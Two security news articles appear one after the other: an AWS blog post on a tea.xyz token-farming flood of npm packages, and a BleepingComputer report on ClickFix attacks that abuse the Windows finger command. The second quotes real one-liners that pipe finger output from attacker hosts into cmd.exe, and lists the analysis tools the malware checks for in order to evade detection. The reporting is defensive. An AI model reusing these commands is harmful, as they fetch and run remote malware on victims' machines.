AWS Security Blog
by Chi Tran and Charlie Bacon on 13 NOV 2025
Amazon Inspector security researchers have identified and reported over 150,000 packages linked to a coordinated tea.xyz token farming campaign in the npm registry. This is one of the largest package flooding incidents in open source registry history, and represents a defining moment in supply chain security, far surpassing the initial 15,000 packages reported by Sonatype researchers in April 2024. Through a combination of advanced rule-based detection and AI, the research team uncovered a self-replicating attack pattern where threat actors automatically generate and publish packages to earn cryptocurrency rewards without user awareness, revealing how the campaign has expanded exponentially since its initial identification.
This incident demonstrates both the evolving nature of threats where financial incentives drive registry pollution at unprecedented scale, and the critical importance of industry-community collaboration in defending the software supply chain. The Amazon Inspector team’s capability to detect subtle, non-traditional threats through innovative detection methodologies, combined with rapid collaboration with the Open Source Security Foundation (OpenSSF) to assign malicious package identifiers (MAL-IDs) and coordinate response, provides a blueprint for how security organizations can respond swiftly and effectively to emerging attack vectors. As the open source community continues to grow, this case serves as both a warning that new threats will emerge wherever financial incentives exist, and a demonstration of how collaborative defense can help address supply chain attacks.
Detection
On October 24, 2025, Amazon Inspector security researchers deployed a new detection rule—paired with AI—to identify additional suspicious package patterns in the npm registry. Within days, the system began flagging packages linked to the tea.xyz protocol—a blockchain-based system designed to reward open source developers.
By November 7, the researchers flagged thousands of packages and began investigating what appeared to be a coordinated campaign. The next day, after validating the evaluation results and analyzing the patterns, they reached out to OpenSSF to share their findings and coordinate a response. With OpenSSF’s review and alignment, Amazon Inspector security researchers began systematically submitting discovered packages to the OpenSSF malicious packages repository, with each package receiving a MAL-ID within 30 minutes. The operation continued through November 12, ultimately uncovering over 150,000 malicious packages.
Here’s what the investigation revealed:
Over 150,000 packages linked to the tea.xyz token farming campaign
Self-replicating automation that creates packages without legitimate functionality
Systematic inclusion of tea.yaml files that link packages to blockchain wallet addresses
Coordinated publishing activity across multiple developer accounts
Unlike traditional malware, these packages do not contain overtly malicious code. Instead, they exploit the tea.xyz reward mechanism by artificially inflating package metrics through automated replication and dependency chains, allowing threat actors to extract financial benefits from the open source community.
Token farming as a new attack vector
This campaign represents a concerning evolution in supply chain security. Although the packages might not steal credentials or deploy ransomware, they pose significant risks:
Registry pollution – The npm registry is flooded with low-quality, non-functional packages that obscure legitimate software and degrade trust in the open source community.
Resource exploitation – Registry infrastructure, bandwidth, and storage are consumed by packages created solely for financial gain rather than genuine contribution.
Precedent for abuse – The success of this campaign could inspire similar exploitation of other reward-based systems, normalizing automated package generation for financial gain.
Supply chain risk – Even packages that seem benign can add unnecessary dependencies, potentially introducing unexpected behaviors or creating confusion in dependency resolution.
Collaboration with OpenSSF: rapid response
The collaboration between Amazon Inspector security researchers and OpenSSF led to swift action and benefits such as the following:
Immediate threat intelligence sharing – The researchers’ findings were shared with OpenSSF’s malicious packages repository, providing the community with comprehensive threat data.
MAL-ID assignment – OpenSSF rapidly assigned MAL-IDs to the detected packages, enabling community-wide blocking and remediation. Average time of assignment was 30 minutes.
Coordinated disclosure – Both organizations worked together to inform the broader open source community about the threat.
Enhanced detection standards – Insights from this campaign are informing improved detection capabilities and policy recommendations across the open source security community.
This collaboration exemplifies how industry leaders and community organizations can work together to help protect software supply chains. The rapid assignment of MAL-IDs demonstrates OpenSSF’s commitment to maintaining the integrity of open source registries, while the researchers’ detection work and threat intelligence provide the advanced insights needed to stay ahead of evolving attack patterns.
Technical details: how the researchers detected the campaign
Amazon Inspector security researchers used a combination of rule-based detection paired with AI-powered techniques to uncover this campaign. The researchers developed pattern matching rules to identify suspicious characteristics such as the following:
Presence of tea.yaml configuration files
Minimal or cloned code with no original functionality
Predictable naming patterns and automated generation signatures
Circular dependency chains between related packages
By monitoring publishing patterns, the researchers revealed coordinated campaigns that used automated tooling to create packages at automated speeds.
How to respond to these types of events
You should follow your standard incident response process for active incidents to resolve the issue.
To sweep your development environment, we recommend the following steps:
Use Amazon Inspector – Check the findings for packages that are linked to tea.xyz token farming and follow recommended remediation.
Audit packages – Remove low-quality, non-functional packages.
Harden supply chains – Enforce software bills of materials (SBOMs), pin package versions, and isolate continuous integration and continuous delivery (CI/CD) environments.
bleepingcomputer.com
By Lawrence Abrams
November 15, 2025
The decades-old "finger" command is making a comeback,, with threat actors using the protocol to retrieve remote commands to execute on Windows devices.
In the past, people used the finger command to look up information about local and remote users on Unix and Linux systems via the Finger protocol, a command later added to Windows. While still supported, it's rarely used today compared to its popularity decades ago.
When executed, the finger command returns basic information about a user, including their login name, name (if set in /etc/passwd), home directory, phone numbers, last seen, and other details.
Recently, there have been malicious campaigns utilizing the Finger protocol in what appear to be ClickFix attacks that retrieve commands to execute on devices.
This is not the first time the finger command has been abused in this way, as researchers warned in 2020 that it was used as a LOLBIN to download malware and evade detection.
Abusing the finger command
Last month, cybersecurity researcher MalwareHunterTeam shared a batch file [VirusTotal] with BleepingComputer that, when executed, would use the "finger root@finger.nateams[.]com" command to retrieve commands from a remote finger server, which were then run locally by piping them through cmd.exe.
While that host is no longer accessible, MalwareHunterTeam found additional malware samples and attacks utilizing the finger command.
For example, a person on Reddit recently warned that they fell victim to a ClickFix attack that impersonated a Captcha, prompting them to run a Windows command to verify they were human.
"I just fell for verify you are human win + r. What do I do?," reads the Reddit post.
"I was in a rush and fell for this and ended up entering the following in my cmd prompt:"
"cmd /c start "" /min cmd /c "finger vke@finger.cloudmega[.]org | cmd" && echo' Verify you are human--press ENTER'"
Although the host is no longer responding to finger requests, another Reddit user captured the output.
This attack abuses the Finger protocol as a remote script delivery method, by running finger vke@finger.cloudmega[.]org and piping its output through the Windows command processor, cmd.exe.
This causes the retrieved commands to be executed, which creates a random-named path, copies curl.exe to a random filename, uses the renamed curl executable to download a zip archive disguised as a PDF [VirusTotal] from cloudmega[.]org, and extracts a Python malware package.
The Python program will then be executed using pythonw.exe init.py.
The final command executed is a call back to the attacker's server to confirm execution, while displaying a fake "Verify you are human" prompt to the user.
It is unclear what the purpose of the Python package is, but a related batch file indicates it was an infostealer.
MalwareHunterTeam also found a similar campaign that uses "finger Kove2@api.metrics-strange.com | cmd" to retrieve and run commands almost identical to the previously mentioned ClickFix attack.
BleepingComputer found this to be a more evolved attack, with the commands looking for tools commonly used in malware research and exiting if found. These tools include filemon, regmon, procexp, procexp64, tcpview, tcpview64, Procmon, Procmon64, vmmap, vmmap64, portmon, processlasso, Wireshark, Fiddler, Everywhere, Fiddler, ida, ida64, ImmunityDebugger, WinDump, x64dbg, x32dbg, OllyDbg, and ProcessHacker.
If no malware analysis tools are found, the commands will download a zip archive disguised as PDF files and extract it. However, instead of extracting a malicious Python package from the fake PDF, it extracts the NetSupport Manager RAT package.
The commands will then configure a scheduled task to launch the remote access malware when the user logs in.
While the current 'finger' abuse appears to be carried out by a single threat actor conducting ClickFix attacks, as people continue to fall for them, it is essential to be aware of the campaigns.
For Defenders, the best way to block the use of the finger command is to block outgoing traffic to TCP port 79, which is what is used to connect to a daemon over the Finger protocol.
